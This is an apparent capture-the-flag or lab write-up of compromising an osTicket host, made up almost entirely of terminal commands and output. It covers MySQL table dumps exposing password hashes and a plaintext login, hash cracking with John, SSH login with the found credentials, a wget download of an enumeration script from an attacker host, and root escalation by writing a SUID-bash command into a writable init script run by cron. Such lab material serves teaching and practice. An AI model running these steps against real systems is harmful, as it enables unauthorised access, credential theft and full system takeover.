$#Connected to mysql database$mysql -h 10.11.1.11 -u root --ssl=0 -p #password whatever$#Enumerate DB$SHOW DATABASES;$USE dbname;$SHOW TABLES;$SELECT * FROM tablename;$SHOW COLUMNS FROM ost_config;$#All tables$MySQL [mysql]> use osticket;$Reading table information for completion of table and column names$You can turn off this feature to get a quicker startup with -A$ $Database changed$MySQL [osticket]> show tables;$+--------------------------+$| Tables_in_osticket |$+--------------------------+$| ost__search |$| ost_api_key |$| ost_attachment |$| ost_canned_response |$| ost_config |$| ost_content |$| ost_department |$| ost_draft |$| ost_email |$| ost_email_account |$| ost_email_template |$| ost_email_template_group |$| ost_event |$| ost_faq |$| ost_faq_category |$| ost_faq_topic |$| ost_file |$| ost_file_chunk |$| ost_filter |$| ost_filter_action |$| ost_filter_rule |$| ost_form |$| ost_form_entry |$| ost_form_entry_values |$| ost_form_field |$| ost_group |$| ost_help_topic |$| ost_help_topic_form |$| ost_list |$| ost_list_items |$| ost_lock |$| ost_note |$| ost_organization |$| ost_organization__cdata |$| ost_plugin |$| ost_queue |$| ost_queue_column |$| ost_queue_columns |$| ost_queue_config |$| ost_queue_export |$| ost_queue_sort |$| ost_queue_sorts |$| ost_role |$| ost_schedule |$| ost_schedule_entry |$| ost_sequence |$| ost_session |$| ost_sla |$| ost_staff |$| ost_staff_dept_access |$| ost_syslog |$| ost_task |$| ost_task__cdata |$| ost_team |$| ost_team_member |$| ost_thread |$| ost_thread_collaborator |$| ost_thread_entry |$| ost_thread_entry_email |$| ost_thread_entry_merge |$| ost_thread_event |$| ost_thread_referral |$| ost_ticket |$| ost_ticket__cdata |$| ost_ticket_priority |$| ost_ticket_status |$| ost_translation |$| ost_user |$| ost_user__cdata |$| ost_user_account |$| ost_user_email |$+--------------------------+$71 rows in set (0.174 sec)$ $MySQL [osticket]> select * from ost_file;$+----+----+----+------------+------+----------------------------------+----------------------------------+-------------------------+-------+---------------------+$| id | ft | bk | type | size | key | signature | name | attrs | created |$+----+----+----+------------+------+----------------------------------+----------------------------------+-------------------------+-------+---------------------+$| 1 | T | D | image/png | 9452 | b56944cb4722cc5cda9d1e23a3ea7fbc | gjMyblHhAxCQvzLfPBW3EjMUY1AmQQmz | powered-by-osticket.png | NULL | 2022-06-07 04:31:23 |$| 2 | T | D | text/plain | 24 | f9owUMWtx86n3ccfeGGNagoRoTDtol7o | MWtx86n3ccfeGGNafaacpitTxmJ4h3Ls | osTicket.txt | NULL | 2022-06-07 04:31:24 |$ $MySQL [osticket]> select * from ost_staff;$+----------+---------+---------+----------+-----------+----------+--------------------------------------------------------------+---------+------------------------+-------+-----------+--------+-----------+------+----------+--------+-------+----------+---------+-----------+------------+---------------+-----------------------+---------------+---------------+-------------------+------------------------+--------------------+-----------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+---------------------+---------------------+---------------------+$| staff_id | dept_id | role_id | username | firstname | lastname | passwd | backend | email | phone | phone_ext | mobile | signature | lang | timezone | locale | notes | isactive | isadmin | isvisible | onvacation | assigned_only | show_assigned_tickets | change_passwd | max_page_size | auto_refresh_rate | default_signature_type | default_paper_size | extra | permissions | created | lastlogin | passwdreset | updated |$+----------+---------+---------+----------+-----------+----------+--------------------------------------------------------------+---------+------------------------+-------+-----------+--------+-----------+------+----------+--------+-------+----------+---------+-----------+------------+---------------+-----------------------+---------------+---------------+-------------------+------------------------+--------------------+-----------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+---------------------+---------------------+---------------------+$| 1 | 1 | 1 | helpdesk | John | Doe | $2a$08$WLIxqtBatS/omAFsAg2e.uOUckvy44GB/ONx2qpQv3pZx5QmDOrNi | NULL | helpdesk@localhost.com | | NULL | | | NULL | NULL | NULL | NULL | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 25 | 0 | none | Letter | {"browser_lang":"en_US","def_assn_role":true} | {"user.create":1,"user.delete":1,"user.edit":1,"user.manage":1,"user.dir":1,"org.create":1,"org.delete":1,"org.edit":1,"faq.manage":1,"visibility.agents":1,"emails.banlist":1,"visibility.departments":1} | 2022-06-07 04:31:24 | 2022-06-07 04:54:07 | 2022-06-07 11:08:51 | 2022-06-07 04:54:07 |$+----------+---------+---------+----------+-----------+----------+--------------------------------------------------------------+---------+------------------------+-------+-----------+--------+-----------+------+----------+--------+-------+----------+---------+-----------+------------+---------------+-----------------------+---------------+---------------+-------------------+------------------------+--------------------+-----------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+---------------------+---------------------+---------------------+$1 row in set (0.018 sec)John Hash cracking
🐺 howlsec@kalishell
$#Tried cracking bcrypt hash found in the table$john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hashes.txt $ $Using default input encoding: UTF-8$Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])$Cost 1 (iteration count) is 256 for all loaded hashes$Will run 8 OpenMP threads$Press 'q' or Ctrl-C to abort, almost any other key for status🐺 howlsec@kalishell
$MySQL [osticket]> select * from ost_thread_entry;$+----+-----+-----------+----------+---------+------+-------+------------------+--------+-------------+--------+---------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+-------------+-------+--------------------------------------------------+---------------------+---------------------+$| id | pid | thread_id | staff_id | user_id | type | flags | poster | editor | editor_type | source | title | body | format | ip_address | extra | recipients | created | updated |$+----+-----+-----------+----------+---------+------+-------+------------------+--------+-------------+--------+---------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+-------------+-------+--------------------------------------------------+---------------------+---------------------+$| 1 | 0 | 1 | 0 | 1 | M | 65 | osTicket Support | NULL | NULL | Web | osTicket Installed! | <p>Thank you for choosing osTicket. </p> <p>Please make sure you join the <a href="https://forum.osticket.com">osTicket forums</a> and our <a href="https://osticket.com">mailing list</a> to stay up to date on the latest news, security alerts and updates. The osTicket forums are also a great place to get assistance, guidance, tips, and help from other osTicket users. In addition to the forums, the osTicket wiki provides a useful collection of educational materials, documentation, and notes from the community. We welcome your contributions to the osTicket community. </p> <p>If you are looking for a greater level of support, we provide professional services and commercial support with guaranteed response times, and access to the core development team. We can also help customize osTicket or even add new features to the system to meet your unique needs. </p> <p>If the idea of managing and upgrading this osTicket installation is daunting, you can try osTicket as a hosted service at <a href="https://supportsystem.com">https://supportsystem.com/</a> -- no installation required and we can import your data! With SupportSystem's turnkey infrastructure, you get osTicket at its best, leaving you free to focus on your customers without the burden of making sure the application is stable, maintained, and secure. </p> <p>Cheers, </p> <p>-$ osTicket Team https://osticket.com/ </p> <p><strong>PS.</strong> Don't just make customers happy, make happy customers! </p> | html | 192.168.6.1 | NULL | NULL | 2022-06-07 04:31:24 | 0000-00-00 00:00:00 |$| 2 | 0 | 2 | 0 | 2 | M | 577 | helpdesk | NULL | NULL | Phone | NULL | <p>Hi,$</p> <p>The following url can be used to access the admin panel: http://10.11.1.11/scp. It will also allow you to enter your system account. Be sure to edit the passwords as soon as you are logged in.$</p> <p>Username: helpdesk$Password: helpdesk90621$</p> <p>Kind regards,$Helpdesk administration</p> (screenshot omitted) (screenshot omitted) Kept enumerating DB (screenshot omitted) Found another bcrypt hash (screenshot omitted)
🐺 howlsec@kalishell
$MySQL [osticket]> select * from ost_user_account;$+----+---------+--------+----------+------+----------+--------------------------------------------------------------+---------+-------+---------------------+$| id | user_id | status | timezone | lang | username | passwd | backend | extra | registered |$+----+---------+--------+----------+------+----------+--------------------------------------------------------------+---------+-------+---------------------+$| 1 | 2 | 1 | NULL | NULL | NULL | $2a$08$N1NqQ6q6N5o3cXdRSt7p4eGq3UuvEBY04nf7D1ZaK1A9wlALvB4XC | NULL | NULL | 2022-06-07 07:59:41 |$+----+---------+--------+----------+------+----------+--------------------------------------------------------------+---------+-------+---------------------+$1 row in set (0.113 sec)Found new username support@osticket.com
🐺 howlsec@kalishell
$MySQL [osticket]> select * from ost_user_email;$+----+---------+-------+------------------------+$| id | user_id | flags | address |$+----+---------+-------+------------------------+$| 1 | 1 | 0 | support@osticket.com |$| 2 | 2 | 0 | helpdesk@localhost.com |$+----+---------+-------+------------------------+$2 rows in set (0.015 sec)🐺 howlsec@kalishell
$#Found credentials$helpdesk:helpdesk90621$#SSH to the box$ssh helpdesk@10.11.1.11 $The authenticity of host '10.11.1.11 (10.11.1.11)' can't be established.$ED25519 key fingerprint is SHA256:Gke21VtlAns2IH9PifDktzL7ttO/vS/IYJuqu9ft1L4.$This key is not known by any other names.$Are you sure you want to continue connecting (yes/no/[fingerprint])? yes$Warning: Permanently added '10.11.1.11' (ED25519) to the list of known hosts.$helpdesk@10.11.1.11's password: $[helpdesk@localhost ~]$ ls$[helpdesk@localhost ~]$ whoami$helpdesk$[helpdesk@localhost ~]$ id$uid=1000(helpdesk) gid=1000(helpdesk) groups=1000(helpdesk)$[helpdesk@localhost ~]$ Privesc done with wildcard Cron job
🐺 howlsec@kalishell
$#ssh to the box$ssh helpdesk@10.11.1.11 #password helpdesk90621$#Transfered suid3num$[helpdesk@localhost tmp]$ wget http://172.16.1.1/suid3num.py$--2025-09-19 21:13:42-- http://172.16.1.1/suid3num.py$Connecting to 172.16.1.1:80... connected.$HTTP request sent, awaiting response... 200 OK$Length: 27568 (27K) [text/x-python]$Saving to: ‘suid3num.py’$ $100%[=================================================================================================>] 27,568 --.-K/s in 0.03s $ $2025-09-19 21:13:42 (1.05 MB/s) - ‘suid3num.py’ saved [27568/27568]$ $[helpdesk@localhost tmp]$ chmod +x suid3num.py$[helpdesk@localhost tmp]$ ./suid3num.py$-bash: ./suid3num.py: /usr/bin/python3: bad interpreter: No such file or directory$[helpdesk@localhost tmp]$ python3 suid3num.py$-bash: python3: command not found$[helpdesk@localhost tmp]$ python suid3num.py$ ___ _ _ _ ___ _____ _ _ _ __ __ $ / __| | | / | \ |__ / \| | | | | \/ |$ __ \ |_| | | |) | |_ \ .` | |_| | |\/| |$ |___/___/|_|___/ |___/_|_|___/|_| |_| twitter@syed__umar$ $[#] Finding/Listing all SUID Binaries ..$------------------------------$/usr/bin/chfn$/usr/bin/chsh$/usr/bin/chage$/usr/bin/gpasswd$/usr/bin/newgrp$/usr/bin/mount$/usr/bin/su$/usr/bin/sudo$/usr/bin/umount$/usr/bin/pkexec$/usr/bin/crontab$/usr/bin/passwd$/usr/bin/fusermount$/usr/sbin/unix_chkpwd$/usr/sbin/pam_timestamp_check$/usr/sbin/usernetctl$/usr/sbin/mount.nfs$/usr/lib/polkit-1/polkit-agent-helper-1$/usr/libexec/dbus-1/dbus-daemon-launch-helper$------------------------------$ $[!] Default Binaries (Don't bother)$------------------------------$/usr/bin/chfn$/usr/bin/chsh$/usr/bin/gpasswd$/usr/bin/newgrp$/usr/bin/mount$/usr/bin/su$/usr/bin/sudo$/usr/bin/umount$/usr/bin/pkexec$/usr/bin/passwd$/usr/bin/fusermount$/usr/sbin/mount.nfs$/usr/lib/polkit-1/polkit-agent-helper-1$/usr/libexec/dbus-1/dbus-daemon-launch-helper$------------------------------$ $ $[~] Custom SUID Binaries (Interesting Stuff)$------------------------------$/usr/bin/chage$/usr/bin/crontab$/usr/sbin/unix_chkpwd$/usr/sbin/pam_timestamp_check$/usr/sbin/usernetctl$------------------------------$ $ $[#] SUID Binaries found in GTFO bins..$------------------------------$[!] None :($------------------------------$ $#linpeas shows vulenrable PATH$╔══════════╣ PATH$╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses $/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/helpdesk/.local/bin:/home/helpdesk/bin $ $#linpeas shows write privileges$╔══════════╣ Permissions in init, init.d, systemd, and rc.d$╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd $You have write privileges over /etc/init.d/help $You have write privileges over /etc/rc.d/init.d/help$You have write privileges over /etc/rc.d/init.d/helpPrivesc with wildcard cron job https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html?highlight=wildcard cron#cron-using-a-script-with-a-wildcard-wildcard-injection
🐺 howlsec@kalishell
$[helpdesk@localhost tmp]$ cat /etc/crontab$SHELL=/bin/bash$PATH=/sbin:/bin:/usr/sbin:/usr/bin$MAILTO=root$ $# For details see man 4 crontabs$ $# Example of job definition:$# .---------------- minute (0 - 59)$# | .------------- hour (0 - 23)$# | | .---------- day of month (1 - 31)$# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...$# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat$# | | | | |$# * * * * * user-name command to be executed$ $* * * * * root service help start$[helpdesk@localhost tmp]$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /etc/init.d/help$[helpdesk@localhost tmp]$ /tmp/bash -p$bash-4.2# id$uid=1000(helpdesk) gid=1000(helpdesk) euid=0(root) egid=0(root) groups=0(root),1000(helpdesk)$bash-4.2# cd /root$bash-4.2# ls$anaconda-ks.cfg key.txt mysql-community-release-el7-5.noarch.rpm$bash-4.2# cat key.txt$93jksdf8ujklfadki32k$bash-4.2# (screenshot omitted)